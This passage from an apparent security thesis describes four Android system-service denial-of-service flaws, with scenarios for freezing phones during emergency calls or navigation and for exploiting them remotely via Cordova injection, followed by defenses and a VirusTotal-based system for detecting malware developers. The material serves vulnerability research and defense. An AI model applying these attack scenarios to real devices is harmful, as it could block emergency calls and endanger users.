Android OS is widely used in various mission critical scenarios, for instance, servingmedical devices [59–61], aircraft navigation [62, 63], Android-auto navigation [65] andembedded in nano-satellites [66]. To be more stealthy, the ASVs may be exploited only atsome critical moments (e.g., aircraft navigation [64], monitoring patient and etc.) whenthe above apps are running. Here critical moments can be inferred from the runningstatus of the mobile devices/apps based on various side channels discovered in previousworks [76, 77].
Support Privacy Leakage Attacks. The consequences of exploiting these ASVscan be served as potential building blocks for other attacks on mobile devices. Lots ofprevious works [5, 64, 77, 87] have been focusing on discovering side channels to inferthe running status of the mobile devices/apps. We consider that these techniques are quiteuseful to help find a critical moment to exploit the ASVs and cause various consequences.
Attack when you navigate. For instance, Zhou et al. [5] described a technique to inferthe user’s driving routine when the user is navigating with an Android app (e.g., Googlemap). We consider it can be really dangerous once a malware uses similar techniquesto predict that the user is driving on a highway (or some risky routine), and then exploit
66
the ASVs to cause long downtime for the device. Other catastrophic damages can becaused in an aircraft, as a previous study [64] also shows that some pilots use Androidtablets as the mobile cockpit information system, which is based on navigation apps.By inferring that the aircraft is using the navigation app, one can potentially exploit theASVs repeatedly to produce a long downtime for the tablets afterwards.
Attack when you dial out. The other attack scenario that we discovered is to preventAndroid users from performing emergency dial-out. For this attack, the PoC app onlyneeds to get notified when the user receives an incoming call or performs an outgoingcall, which can be achieved without permission. We implement one version of our PoCapp based on the AudioManager.OnAudioFocusChangeListener to monitor if the audiofocus is changed temporarily. A transient audio-focus change is a good indicator thatthe user is performing a dial out. In that critical moment, our PoC app will exploit theASVs to freeze the phone and eventually cause a soft reboot of the system. Anotherapproach to prevent the dial-out is by registering a number of broadcast receivers with thesame action new_outgoing_call. When the system delivers the broadcast with the actionnew_outgoing_call for the dialer app, it actually triggers the ASVs #1, which preventsthe dialer app from executing the phone call through the TelephonyManager.
Construct Remote Exploits through HTML-5 Code Injection. The remote codeinjection vulnerability on HTML-5-based Android apps [78] has been well studied.Since most of the plugins (e.g., Apache Cordova plugins) for HTML-5-based Androidapps are able to retrieve the context object, which means the injected malicious codecan directly invoke the Android APIs (e.g., call sendBroadcast(intent) through ((Cor-
dovaActivity)this.cordova.getActivity()).sendBroadcast(intent). Therefore, one can usethe injected JavaScript code to construct the ASV exploits directly. We use an ApacheCordova plugin and write relevant JavaScript payload (20 lines) to exploit ASVs #1 and#2 successfully. However, remotely exploiting the ASVs #3 and #4 is not that straight-forward, as it requires adding (or knowing) the images (file names) in the applicationresource directory to construct multiple views.
4.5 Defense
We reported all the identified ASVs to Google’s security team, who confirmed ourfindings and acknowledged our contributions. CVE IDs for the ASVs will be generated.Based on the understanding of the root cause of this general design flaw, we are now
67
proposing mitigation to end users and defenses to Android framework developers.
4.5.1 Apply User Side Remediations
If a vigilant user identifies the suspicious app, he/she can learn to boot the system intothe “safe mode” to remove it. However, a user can hardly identify the remote exploitslaunched via HTML5-based vulnerability in trusted apps. A more knowledgeable anddetermined user can perform a factory reset of the phone through fast-boot. This, however,requires that most of the important data have already been backed up somewhere else(e.g., in the cloud). Note that an app can still repackage/disguise itself as benign and onlyexploit the system at a few mission critical moments to cause deadly damages. Thus, weneed system-level defense solutions.
4.5.2 Use Access Control Mechanisms
In the system level defense, one may easily think of leveraging Android permissions andaccess control mechanisms. However, they may only help partially mitigate the problem.First, not all the critical resources or APIs are currently protected by permissions. Forexample, two of the discovered ASVs can be exploited without any permission. Second,users must have a good understanding of the added Android permissions. This, however,has been shown to be very ineffective according to a study [88] (only 3% of the surveyedusers have a good comprehension of permissions). Third, the general access controlmechanisms (e.g., ASM [67], SEAndroid [15] and etc.) are insufficient either to preventthe DoS attacks because they are mostly stateless. Once the permissions/capabilities aregranted to a vulnerable trusted/malicious app, it is difficult to prevent them from beingmisused.
4.5.3 Define Resource Usage Thresholds
One stateful approach is to use thresholds to restrict the number of resources that eachapp (component) can register. For instance, one may limit the number of receivers an appcan register or control the number of view add/update operations allowed for a normalapp. However, the appropriate thresholds are not easy to define for market-level malwaredetection. The static analysis can hardly be precise to determine the number of resourceregistrations. Dynamic testing may not trigger all the execution scenarios well enough.
68
Table 4.5: Statistics of synchronized blocks with watchdog monitored locks
Service Watchdog Monitored # of Watchdog MonitoredName Lock Object Blocks/Total Sync Blocks
ActivityManagerService AMS.this object 279/345PackageManagerService mPackages object 171/243PowerManagerService mlock object 49/60
MountService MountService.this object 41/41MediaSessionService mlock object 21/21MediaRouterService mlock object 13/13
MediaProjectionManagerService mlock object 16/16NetworkManagementService mDaemonLock object 4/7
InputManagerService mInputFilterLock object 4/26WindowManagerService mWindowMap object 185/198
Hence, inappropriate thresholds can cause lots of false alarms on legitimate apps thatneed to use the resources frequently. Also, the market-level malware detection cannotprevent remote exploits that are loaded dynamically.
4.5.4 Retrofit the Concurrency Control Design
One crucial observation from our research is that every system service (in Table 4.5) usesonly one primary monitor lock for most of the critical sections that manipulate differentvariables in different services (e.g., AMS.this lock in the activitymanager). Thus, oneapproach to retrofit the SS design is to provide a fine-grained concurrency control designin system services. The high level design principle is similar to that on the Big KernelLock refinement [89].
Based on our observation, the requests for startActivity(), startService() and send-
Broadcast() should not compete for the same AMS.this lock; otherwise, it can easily causethe freezing of the whole activitymanager. Hence, instead of using the AMS.this lock, weuse the AMS.mRegisteredReceivers object (which contains all the dynamically registeredreceivers) as a fine-grained lock. Accordingly, only the threads that dynamically resolveor manipulate the receivers have to compete for the AMS.mRegisteredReceivers objectlock before entering relevant critical sections. This prevents the blocking of other typesof requests in the activitymanager (e.g., startActivity()). Our experiments show that othertasks now become responsive even when the ASVs #1 and #2 are exploited. For instance,activities and services can still be started, so the user is able to handle the ransomwarecases through the launcher app and kill the suspicious apps.
69
However, lock contention for AMS.mRegisteredReceivers still exists. For instance,multiple broadcast threads (readers) still need to wait for the first broadcast thread (reader)to finish its work. We observe that currently there is no such optimization based onreaders-writer lock (RWL) [90] (e.g., the Java ReentrantReadWriteLock) in system ser-vices to allow concurrent access among readers (broadcast threads). We further proposea fine-grained design to leverage the read-copy update [91] (RCU) mechanism wheneverpossible. The RCU is an improvement over the RWL, which ensures the coherenceamong readers by copying a new version of objects for the single writer. Comparing toRWL, RCU further ensures that the updating of the AMS.mRegisteredReceivers objectcan no longer block the message broadcasting jobs. Hence, it can be used here to furtherboost the throughput and prevent some relevant attack scenarios (e.g., the anti-patchingattack). This, however, cannot cope with the scenarios when several writers (e.g., thewatchdog thread8) are starved due to a malicious writer thread (e.g., a binder thread thatexecutes cleanUpApplicationRecordLocked). This means some ASVs can still causesome damages in the system, e.g., the anti-removal attack.
4.5.5 Design a Smart Watchdog Mechanism
To avoid the writer-writer starvation and other failure situations (e.g., the deadlocks), oneon-device protection is to set thresholds to monitor and detect a burst of resource usages(e.g., view manipulations). Therefore, a lightweight but smarter watchdog is designedhelp recover the system from failures. One problem with the current watchdog design isthat it simply kills the whole SS process whenever it fails to grab the lock after about60s. To better resolve this problem, the watchdog thread needs to quickly identify theproblematic thread(s) and gracefully resolve the failure situations by only removing thoseproblematic threads.
We observe that when a malicious app exploits the ASV, one binder thread in the SSis assigned to fulfill the actual RPC by accessing the critical sections and blocking all theother SS writer threads for the same lock. In our design, once the watchdog thread findsthat the monitor lock(s) is not available (e.g., in 20 seconds), it will quickly diagnosethe problem by calling Thread.holdsLock() and Thread.getAllStackTraces() to identifywhether it is the binder thread(s)9 that holds the monitor lock. Also, instead of killing
8With the RCU setup, we need to modify the watchdog to always check the writers lock and thusbecome a writer thread
9The binder thread is created as a native pthread, which is attached to the Android runtime.
70
the whole SS, it only helps exit the problematic threads. Since binder threads loop onthe commands delivered from the kernel binder driver to execute various RPC calls,one may want to send the BR_FINISHED command10 to deliver a TIMED_OUT to theproblematic binder thread. However, we find that the busy (problematic) binder threadcannot take the command. Thus, we choose to let the watchdog thread use a JNI call toinvoke the tgkill() syscall to send inter-thread signals (i.e., SIGTERM) specifically to theproblematic binder thread(s). During our test we find that, the binder thread has to add asignal handler using the sigaction() syscall to handle the SIGTERM signal and gracefullyexit itself to resolve the starvation (or deadlocks). Otherwise, the whole SS will still bekilled. The other benefit of exiting the problematic binder thread(s) is that by default,the kernel binder driver will spawn new binder threads (via the BR_SPAWN_LOOPERcommand) and add them into the thread pool whenever the number of binder threads isnot enough.
We have already proposed these defense solutions to the Google Android frameworkteam. They will refine the problematic critical sections in the AMS to patch ASV #1, #2and #3 as we suggested. They are still evaluating the corresponding pros and cons ofother defenses/mitigations based on various design objectives.
4.6 Summary
Our new understanding of the SS reveals a general design flaw in its concurrencycontrol scheme and failure recover mechanism. We further characterize it as a generalvulnerability (i.e., ASV). We then build a tool to help cost-effectively analyze 2154 riskymethods, it helps reveal four previously unknown ASVs in two critical services (i.e.,activitymanager and windowmanager). We further easily craft several PoCs by exploitingthe ASVs under various scenarios. Google immediately confirmed our findings, andwe proposed short-term mitigations for users, refinement for the CC mechanism and asmarter watchdog scheme for the SS. Our study shows that some seemingly neat androbust design choices can lead to unexpected flaw. Hence, the secure design for criticalcomponents in the rapidly-evolving mobile systems becomes important.
10One has to enable the unused BR_FINISHED command in the communication protocol of the bindermechanism.
71
Chapter 5 |A Large-scale Study of AndroidMalware Development Caseson Public Malware Submissionand Scanning Platform
5.1 IntroductionDeveloping and testing of Windows malware through a multi-scan system, which containsup-to-date services and products of multiple antivirus engines, is a known fact to themalware research community. According to very recent news [16], two English suspectswere arrested for building a private multi-scan system for malware writers. Previously,researchers [17] have worked to mine Windows malware development cases in the Anubissandbox system [18] with dynamic malware analysis capabilities.
Android Malware. With the phenomenal growth of mobile users and the leadingshare in the global mobile device market, the Android system is an attractive target formalware writers. Especially, due to the heavy customization by various mobile vendorsacross the world, the Android system has become more fragmented and vulnerable thaniOS or Windows Phone OS. Moreover, hundreds of third-party Android app marketsexist in different countries, which are smaller and less regulated than Google Play.Consequently, significantly more Android malware has appeared and they can spreadmuch easier than iOS malware. Indeed, a research study [19] has shown that, in 2015,over 95% of mobile malware is targeting Android. We suspect that due to the seriousness
72
of Android malware, similar development and testing phenomenon could appear onvarious public platforms (e.g., Anubis [18], Malwr [20] and VirusTotal (VT) [21] andetc.). In this research, we name this phenomenon Android Malware Development (AMD).
To study the AMD phenomenon and understand the emerging trends of Androidmalware threats, we carry out a large-scale systematic study to reveal the AMD caseson the VT platform, which we name AMD hunting. VT, currently supported by Google,is the leading malware submission and scanning platform used by many top securitycompanies (e.g., FireEye, Symantec and etc.) and the malware research community. Forexample, a recent report [92] shows that malware researchers are able to identify themalware samples that used to hack Sony Pictures [93] with the help of VT.
During our study period (10/05/2015-01/15/16), each day there were about 4 millionsuspicious file submissions in VT, among which about half a million of them are APKfiles or Android related files (e.g., dex, elf, jar files). For all the Android related filesubmissions, more than 55 antivirus engines provide malware scanning and detection.The analysis results are returned in about 1-2 minutes, and the identified malwaresamples are labeled. People can search the results of previously scanned files (within1-2 seconds) or request a new scan for (existing) files. Hence, much previous malwareresearch [17, 19, 22] has used the labels from antivirus engines on VT as the groundtruth when validating their approaches and findings. Unfortunately, this free service alsoprovides a convenient channel for malware developers to easily test their samples beforespreading them to distribution channels, according to a previous study (in blog [23]) withuncovered Windows malware development cases. Thus, our research of AMD hunting isprimarily focused on VT as a case study, but the designed approach can be adapted forhunting general malware development cases on similar platforms (e.g., Malwr [20]).
AMD Hunting Challenges. To hunt the AMD cases on VT, we are facing two majorchallenges.
• Challenge I, High Volume: Since VT has an average of half a million Androidsubmissions per day, downloading all the Android relevant samples (even if per-mitted by VT) and performing detailed analysis is not very practical for a researchproject. Hence, we need to design a very scalable, efficient, and near real-timedetection system to alert us for suspicious AMD cases.
• Challenge II, Validation: With lots of background noise (e.g., unknown filetype, random customer submissions and etc.) and limited supporting evidences, itbecomes very difficult to valid the AMD cases.
73
Table 5.1: Raw Fields of Each Submission Metadata get from VT Private API
SubID Positives Firstseen Lastseen8324c8bd 1 2015-11-05T12:05:21 2015-11-10T19:25:11
Sha256 AVReport Filename sha1c3863** McAfee[Artemis!147];ESET-NOD32[SmsAgent] test43.apk ac**
Filesize SSDeepVal Country SubTime24736 384NceT9ceBIFpZXNxY38xP9UzwGa KE 1446754150278
Tags Vhash TotalEngine Typeapk, contain-elf e82273ea07509d9cf73c57aafc45dea7 55 Android
To address Challenge I, we decide to perform a two-phase analysis. Phase 1 carriesout a pre-filtering by only using the submission information (i.e., submission metadata)to capture suspicious AMD cases in real time. We observe that, besides providingsuspicious file information and malware labels through public/privileged APIs, VT alsoallows the metadata associated with the submissions to be dumped through privilegedAPIs, including submission id (SubID), submission time, submission country and etc. Anexample of such metadata for a submission is shown in Table 5.1. To make our huntingapproach scalable, efficient and effective analysis of metadata for potential AMD casesbecomes critical. Phase 2 performs an in-depth analysis on the corresponding samplesfrom the suspicious AMD submitters. Note that different from the previous work [17],done internally by the Anubis team who has the full access to the static and dynamicanalysis result of each sample from the very beginning, we as a third party do not haveaccess to the detailed analysis result for each submitted sample on VT.
To address Challenge II, we design a validation logic to validate the suspicioussubmitters. It is based on our understanding of Android malware and the nature ofAMD cases. This is again different from the previous work [17], which correlatesthe malware detection information from other vendors (e.g., the Malware Informationfrom Symantec Worldwide Intelligence Network Environment) to cross-validate theidentified developing cases. To assist further analysis of the discovered samples, webuild a framework to help distill and render all the results in a meaningful way (e.g.,sample-similarity based grouping of submitters, runtime result querying, and etc.). Inthis way, malware researchers can efficiently confirm the suspicious AMD cases and thediscovered 0-day samples.
Differences between AMD hunting and traditional malware detection: First, An-droid malware detection is usually based on malware static features or dynamic behavior,while AMD hunting not only analyzes malware samples, but also actively checks thesubmission traces of different submitters on VT to identify the Android malware de-veloping and testing cases. In this sense, AMD hunting is dramatically different from
74
malware detection, while AMD hunting can support malware detection. Second, malwaredetection usually happens right after a piece of malware is distributed onto a user’s deviceor after the malware has been widely spread, while in AMD hunting, by identifying thesuspicious submitters, we can directly learn the malware writers’ developing techniquesand get alerted of new malware variants even before their spreading. Moreover, we canfind lots of 0-day Android malware components that are under developing or testing,which could be later used to build complete malware or used as payloads for Androiddroppers.
5.2 Background
5.2.1 Definitions.
Before illustrating some details of our design, we first formalize some definitions, whichwill be used in the rest of this paper.
• Submitter: is a user who submits files or URLs to VT and has an eight characterunique hash value (e.g., aefd04ad) as the submitter ID (SubID). The SubID iscomputed by VT. It is based on some contextual details of the submissions anda dynamically generated salt to ensure the contextual data cannot be reversed. Ifno account is generated, VT probably uses the IP address to derive the SubID,which is more dynamic. Otherwise, the SubID is probably generated based onmore detailed user account profile. Submitters can use the web portal of VT orprovided APIs (normally privileged APIs) to perform submissions.
• Sample: is a suspicious malware-related file submitted by a submitter. In thecontext of this study, a sample is an Android related file. When a sample isconfirmed to be malicious, we call it malware, which can be small components ofmalicious applications (e.g., droppers, unpackers and rooters etc.). In this paper,we use the first 5 characters in a sample’s sha256 to refer to the sample (e.g., thesha256 value: 22afa), and sometimes also with SubID (e.g., 22afa874**→ 22afa).
• (Submission) Trace: is a set of submissions from the same SubID, ordered basedon their submission time. Note that, within a a (submission) trace, multiplesubmissions of one sample is possible and each submission is uniquely identifiedby (SubID, sha256 and submission-timestamp).
75
Meta-‐DataPre-‐processing
AMD Aleter
CassandraDistributed Storage
InsertingLoading
Inserting
New Submissions
If suspiciousfeed the APKs of 1 SubID
Confirmed SubID, 0-‐day/New Malware
Variants
StreamingSubmissions
SuspiciousSubmitterValidator
Feature Generation
StaticAnalyzer
PackageAnalyzer
DynamicAnalyzer
ValidationResultand Logs
Method-‐level, View-‐level Info.
Information-‐flow,System/API call Info
Package-‐level information
Collector and Parser
Cluster Computing
Figure 5.1: The AMD Hunter Framework
• Positive Number and Reduced Positive Number: The number of antivirus enginesthat label a submitted sample as malware is called the sample’s positive number.The reduced positive number is a relation between a pair of functionally similarbut different samples: when they are submitted by a SubID, the later sample has alower positive number than the earlier one. Note that one sample can be analyzed atdifferent times and the returned positive numbers can vary. Here, when calculatingthe reduced positive number we only use the positive number that was recordedwhen the sample was submitted by a specific SubID.
• Evasive Trace: is a trace from a specific SubID, which contains evolving malwareversions and shows at least one occurrence of reduced positive number on somepairs of malicious samples.
• Android Malware Development (AMD) Case: Android malware writers mightleverage the convenience of VT as the platform for malicious components ormalware testing, which we call an AMD case. Each AMD case maps to a uniqueSubID in this work.
5.3 Android Malware Development Hunter
In this section, we explain the design of our Android Malware Development (AMD)Hunter within the framework shown in Figure 5.1. AMD hunter has two primary phases:the AMD alerting phase and the AMD validation phase. This two-phase design is tailoredspecifically for handling the huge data volume challenge. The processing speed shouldmatch the average data stream of around 40 submissions/sec from VT. Since detailedanalysis (e.g., runtime code analysis) can hardly be done in the second level time frame,in Phase I we deploy a lightweight AMD alerter to spot the potential AMD cases, using
76
only the submission metadata (one metadata example is shown in Table 5.1).All the samples from the suspicious AMD cases are downloaded and analyzed in
Phase II. Here we deploy three types of analyzers: Package Analyzer, Static Analyzer andDynamic Analyzer, to extract and analyze various kinds of characteristics of apps. Theanalysis results are collected, parsed, and encoded into multiple supporting evidences.Then, our (Suspicious Submitter) Validator determines AMD cases, based on theseevidences and our specific validation rules. After Phase II, we render the reported AMDcases to malware analysts from a leading security company for final validation. Later, wealso design a way to group the AMD cases based on sample similarity and a method toperform 0-day confirmation for the 0-positive-number samples. In the rest of this section,we will introduce the entire workflow step by step.
5.3.1 AMD-Alerter Design Logic
Our AMD-alerter is basically a scalable classifier, which classifies traces into suspicious
or normal in real time. Given the fuzzy nature of reasoning the AMD cases, in our systemwe measure the likelihood of a trace being an AMD case with the Bayesian classifier.Specifically, whenever a new submission comes, we check if its SubID exists in ourdatabase; if existing, we load all the previously recorded submissions from that SubIDand then compute/update a feature vector for the SubID. The feature vector is further fedinto the Bayesian classifier for suspiciousness measurement.
For scalability and realtime processing, initially our AMD alerter only leveragesthe submission metadata information. The question is: what are the strong features
for AMD cases in submission metadata? Our classifier may directly use all the fieldsof the submission metadata from each SubID as its features. However, without usingmore semantics-relevant features, the classification can hardly be robust and predictive.Therefore, we perform feature engineering on this problem and extract a set of derivativefeatures from the fields in the submission metadata. Below are some of the derivativefeatures for classifying suspicious/normal SubIDs. All the features described here arecomputed based on a submission trace from each SubID.
1) When the total number of submissions in a trace is below a certain threshold
(defined based on certain heuristics, e.g., the rate limit of free VT accounts) , we considerit as a candidate for a suspicious AMD case. This is because normally a malware writerdoes not submit a large number of samples in a short period, whereas some VT users like
77
security companies may submit many more. Another way to model this feature withoutspecifying the threshold is to consider it as continuous and use the Gaussian distribution.One can then compute the mean and variance for both labeled suspicious AMD casesand non-suspicious AMD cases and then calculate the class-conditional densities forboth classes. Then the class posterior could be further calculated based on the priorclass-conditional density.
2) Within a trace, when most of the labels (by different antivirus engines) of samplescontain the words, “generic”, “variant”, “heuristic”, “suspicious”, or most of the sampleshave positive numbers below 5, we consider the trace suspicious. Usually, at the firsttime of submission, the fresh samples developed by malware writers will not have a highpositive number or definitive malware labels like android.banker.65.origin.
3) When most of the submissions in a trace have a submission time later than thefirst-seen timestamp on VT, that is, when most of the samples from this SubID have beenpreviously submitted by other submitters onto VT, then it is likely not a suspicious AMDcase. This is because malware writers are not likely to resubmit identical samples. Mostof the samples from AMD cases should be newly manipulated or developed and hencehave unique sha256 values.
4) Within a trace, if there are some reduced positive numbers among samples withsimilar file names (e.g., those with shared subsequences), it is a suspicious trace.
5) Within a trace, if the SubID contains suspicious sample tags, then we consider it assuspicious (e.g., the “via-tor” tag indicates that a sample is submitted via the Tor networkand the submitter is hiding its identity).
6) Within a trace, if the file names of some samples contain compiler generated orsuspicious key words (e.g., “test”, “t1, t2”, “debug”, “signed”, “aligned”, “encrypted”and etc.), the samples are considered as suspicious. This is because some Android appbuilding tools use an automated naming mechanism for generating new samples.
7) Within a trace, if the SubID contains more than 3 different types of executable filesor 5 different types of files, then we consider it a normal trace. This is because malwarewriters usually focus on a small set of file types (e.g., “apk”, “dex” or “elf” for Android).
5.3.2 AMD-Validation Design Logic
After the AMD alerter spots a trace for a SubID as suspicious, we will analyze all thesample files from the suspicious SubID. As shown in Figure 5.1, our analyzers will
78
extract package-level information, static code information and dynamic code behavioralinformation on each sample and then generate various “supporting evidences”. All these“supporting evidences” and intermediate analysis results are then gathered, parsed andfinally fed into the Suspicious Submitter Validator for decision making according tocertain rules. In the following, we will elaborate on the supporting evidences and somedetails of the analyzers. Specifically, there are two levels of evidences: high (H) and
medium (M).
5.3.2.1 Package analyzer and supporting evidences
Our package-level analysis relies on several unique observations on the Android appdeveloping process. We find that in the current Android compilation process, the aapt
(i.e., Android Asset Packaging Tool) 1 only updates the timestamps of the recentlymodified files in the application package; that is, it will not change the timestamps of allthe other unmodified files. Normally, neither will a malware tester manually change thetimestamps of the files after compilation. The above observations enable us to performseveral types of forensic analysis.
H1: When the timestamp of any file in the APK package is close (e.g., within 24hrs)to the submission timestamp on VT, we consider this a high supporting evidence. Theapp is unlikely submitted by a user/security researcher who caught it in the wild, becauseit takes time for a new app to be distributed into an app store, get downloaded and furthertrigger some security alerts.
H2: When a set of samples share a large number of identical timestamps, it is ahigh supporting evidence. This is because a malware writer may tune a sample to makedifferent versions. During the process, most of the files (e.g., the resource files) will notbe manipulated.
M1: When the timestamps of all the files in the APK file are identical (usually thelocal system time), we will report it as a medium level supporting evidence. After all,having identical timestamps of all files in an APK is abnormal, as the code files (e.g.,.dex, .os) should have different timestamps than other resource files.
H3: Each Android app needs to be signed with a certificate, and the informationof every signing certificate must be stored in META-INF/CERT.RSA of the app whencompiled. Android uses it for app integrity and permission checking. By using the
1The APK file format is quite similar to zip format, one can simply use “unzip -l” to collect all the timestamp information and file names.
79
keytool -printcert command, one can extract the detailed certificate information. If aset of apps in a suspicious trace are signed with the same certificate, they are probablyfrom the same author. Hence, it is probably an AMD case. To reduce false positives, wewhitelist some known certificates (e.g., the default development key provided by Google,which has been used by many newbie developers).
5.3.2.2 Static analysis and supporting evidences
M2: A malware writer may keep on modifying and testing malware samples withoutchanging the primary UI of the app. If a set of apps from one trace share similar UIstructures, then it is very likely that the alerted trace is an AMD case. For instance, themalware developer with SubID 82bf5714 uses the popular Adobe-Flash app as a baseapp and keeps on evolving the samples, forming a developing trace. To measure UIstructure similarity, we implemented the view graph approach [26] that is designed forapp repackaging detection.
M3: method-level similarity. There can be cases when the malware author is testinga set of samples that are repackaged with different carrier apps but sharing a smallbut similar malicious components. For instance, in one AMD case we identified, themalware writer inserts an identical Trojan component into various fake system apps.Through method-level comparison, we can identify those malicious components withsimilar control flow graph structures (CFG). For this purpose, we deploy Androguard toperform static CFG construction. To efficiently identify the similar methods with similarCFGs, we then use the centroid construction approach described in [29]. If the similarmethods are used by a set of apps in a trace, then this trace has a medium supportingevidence (M3). To reduce false positives, we whitelisted some shared packages (e.g.,android.support, i18n package, popular ad libraries and etc.)
5.3.2.3 Dynamic analysis and supporting evidences
M4: Runtime similarity. Some samples in a trace might have been heavily obfuscatedor packed with various packers (e.g., 360packer, bangcle and etc.) or other anti-staticanalysis techniques; hence, we turn to measure their runtime behavioral similarity.Whenever we identify a pair of Android samples in a trace yielding similar runtimebehavior, we will consider the trace an AMD case. We measure this aspect of sim-ilarity using a set of specific runtime features we collected from a specific analysis
80
SubID : af020968 [5928e** vs 0238e**] the comparative feature vector of runtime analysiscFV: [30 1 -‐1 130 4 4 25 0 0 0 0 0 644 9 0 0 0 0 49 0 0 1 0 0 0 1 0 0 4 4 1 169 625 308] diffscore |-‐1|
5928e33411235f1f5dd1230a29e6585df9db1be844e6a0176dd07b6d89db469c BankerBotA[5, 1, 0, 10, 2, 2, 5, 0, 0, 0, 0, 0, 28, 3, 0, 0, 0, 0, 7, 0, 0, 1, 0, 0, 0, 1, 0, 0, 2, 2, 1, 13, 25, 22]
0238e6af8e57650862309d969ada70dbe50c7ba0890ff67cfd3cfbd57f0a7fd8 BankerBotB[6, 1, 2, 13, 2, 2, 5, 0, 0, 0, 0, 0, 23, 3, 0, 0, 0, 0, 7, 0, 0, 1, 0, 0, 0, 1, 0, 0, 2, 2, 1, 13, 25, 14]
Figure 5.2: The Comparative Feature Vector (example)
engine, which we built based on an existing runtime analysis platform, namely theDroidbox [95]. Our customized Droidbox can collect 35 general runtime features. Forexample, the runtime features include various types of suspicious Android APIs (e.g.,android.webkit.WebView;→loadData), system call usages, information leakages, andsuspicious code loading behaviors (e.g. the dalvik.system.DexClassLoader;→loadClass
used in com.qihoo.sec.lib.resl.ExtRes by 360packer)) and so on.We present the number of times each feature is invoked during the runtime analysis
as a feature vector. For example, Figure 5.2 shows two developing bank bots that wereidentified in one trace from the SubID af020968. We measure the similarity betweenthese two samples by creating the comparative feature vector (cFV) according to thefollowing rules: 1) if neither of two samples carries a certain runtime feature, then thecorresponding field in the cFV will be filled with 0 (e.g., cFV[8]); 2) if both samplescarry the same feature, we multiply their counts and fill the corresponding field in thecomparative feature vector (e.g, for cFV[0], we have 5*6 = 30). This can help malwareanalysts easily identify the shared behavior among samples; 3) if only one of the samplescarries a feature, we will fill the corresponding field in the cFV as “-1” (e.g., cFV[2] inthis pair of bank-bots). In this case, we consider a pair of samples have similar behaviorwhen the number of “-1” in the computed cFV is below a certain threshold.
A malware analyst can also query the database based on features of interest in thecFVs or individual FVs of samples. For instance, our last feature is the number of Javareflection calls in both samples. We can search for the pair of samples that both invokea lot of reflections by issuing a query (e.g., cFV[34]>100 or FV[34]>15). Therefore,this specific construction of runtime feature vectors not only gives us another usefulsupporting evidence but also assists further malware analysis.
To control the potential noise and randomness introduced by the runtime system,
81
when comparing samples from a suspicious trace, we need to generate the same sequenceof runtime inputs and event triggers (e.g., specific intent actions in Android). This ensuresthat the generated runtime features are close when two samples share similar functionali-ties. For this purpose, we built a replay mechanism on the customized Droidbox emulatorsnapshot. With the same analysis engine across different samples, the consistency of sys-tem environment is guaranteed. In regard to the UI inputs and system event triggers, weuse the monkey_recorder and monkey_playback scripts in Monkey-Runner [40] to recordthem in the first sample and replay them in the remaining samples. The runtime resultwill be inserted into the Cassandra storage and later retrieved by the Spark computingframework.
5.3.2.4 Validation Logic
After all supporting evidences are collected for a trace, we can then make a validationdecision based on them (e.g., H1-H3 and M1-M4). We summarize our validation criteriaas first-order logic. The validation result (VR) is formalized as the following formula withbasic predicates h1 to h3 and m1 to m4, each representing the fact that the correspondingsupporting evidence is true:
V R(v) ::= v1 ∨ v2 ∨ v3 ∨ v4
v1 ::= h1 ∨ h2
v2 ::= (h3 ∧m1) ∨ (h3 ∧m2) ∨ (h3 ∧m3) ∨ (h3 ∧m4)
v3 ::= (m2 ∧m3)
v4 ::= ¬(m2 ∨m3) ∧m4
Overall, we have four validation rules (from v1 to v4 ) based on various heuristics.The first rule (v1) states that if either the submission time is very close to the compilationtime (H1) or the number of shared timestamps among a set of apps is very large (H2),we consider the trace an AMD case. This rule captures the cases when the malwaretesting samples are submitted within a short time period after being compiled or whenthe malware writer keeps on testing a series of versions for one malware. The secondvalidation rule (v2) states that whenever H3 (identical signing certificate) exists in a traceand any of the medium supporting evidences also exists, we consider it an AMD case.
82
The original thought was to use H3 alone for validation; however, this might cause somefalse positives when the publicly exposed certificates are not completely whitelisted.
The third validation rule (v3) helps validate those AMD cases that have both viewand method level similarities. The forth validation rule (v4) is used to find those AMDcases that contain a packed/or highly obfuscated version of a previous version. Basically,within a trace if some samples have no static similarity (M2 or M3) but have dynamicbehavioral similarity (M4), it is very likely some type of anti-static analysis techniques isdeployed. Using this rule, we have identified lots of traces with commercial or home-brewed anti-static analysis techniques, for instance, a submitter (SubID c555bc30) using acommercial packer (i.e., 360-jiagu) from China, and another submitter (SubID c9e0b761)using a home-brewed steganography technique in sample 4a143 (details in Section 5.6.3).
Note that the supporting evidences and validation rules proposed here are not meantto be complete; there could be other AMD cases that the current logic rules do not cover.Based on learning of more confirmed traces, new rules can be added.
5.4 System Implementation
In this section, we present the system implementation of our AMD hunting framework,shown in Figure 5.1, which is developed at the research lab of a leading mobile securityvendor. The current system is built upon a high performance cluster of 20 nodes, withthe following system and hardware specifications: Linux 3.16.0-4-amd64, 32G RAM, 8core CPU (freq: 800MHz) for each node. The AMD-hunter is primarily implemented inScala, the native language that is used to design the Apache Spark (with 3894 lines ofScala code, 1033 lines of python scripts and 572 lines of shell scripts). In addition, weborrow certain code from other open source projects (e.g., the spark-cassandra-connector,the Androguard code and etc.) The general workflow consists of 3 major steps, step 1:
meta-data pre-processing and feature generation, step 2: suspicious AMD cases alertingvia the AMD alerter, and step 3: AMD case validation by the validator.
5.4.0.0.1 Preprocessing and derived feature generation To handle the large vol-ume of streaming submissions (average 40 submissions/sec, the peak can be 150 sub-missions/sec), designing and implementing an efficient meta-data pre-processing andanalyzing system is very critical. In our current system design, we leverage the powerfulSpark [96] parallel computing framework to parse the meta-data and feature generation
83
for each submitter (either generating the features of a new trace or updating the old tracesin the database). In addition, we choose the Apache Cassandra [97], which is an opensource distributed database management system. The Cassandra is designed to handlelarge amount of data across commodity servers. Besides high availability, low latency fordata retrieval and proven fault-tolerance, it provides a language named Cassandra query
language, which helps us analyze the data based on various flexible querying statements.This is critical for our initial stage data exploration.
To optimize the throughput, we provide several “lazy evaluation” criteria for thefeature generation tasks. For instance, we will not generate the feature of a SubID untilwe see a submission with file type in the trace matching the executable binary types (e.g.,apk, dex, elf, jar, peexe, maco, and etc.) 2 of our interest.
